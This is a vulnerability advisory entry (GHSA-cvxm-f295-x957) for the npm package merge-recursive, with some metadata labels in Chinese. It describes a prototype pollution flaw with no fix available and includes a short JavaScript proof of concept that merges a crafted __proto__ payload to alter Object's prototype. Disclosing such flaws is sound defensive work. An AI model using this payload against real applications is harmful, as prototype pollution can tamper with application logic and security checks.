OSV 1.4.0 · github-reviewed · 修改于 2023-09-13 02:47
发布时间
2018-09-18 21:46
GitHub 审查时间
2020-06-17 05:33
NVD 发布时间
—
源文件
advisories/github-reviewed/2018/09/GHSA-cvxm-f295-x957/GHSA-cvxm-f295-x957.json
All versions of merge-recursive are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__ causing the addition or modification of an existing property.
Proof of concept:
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
There is currently no fix available.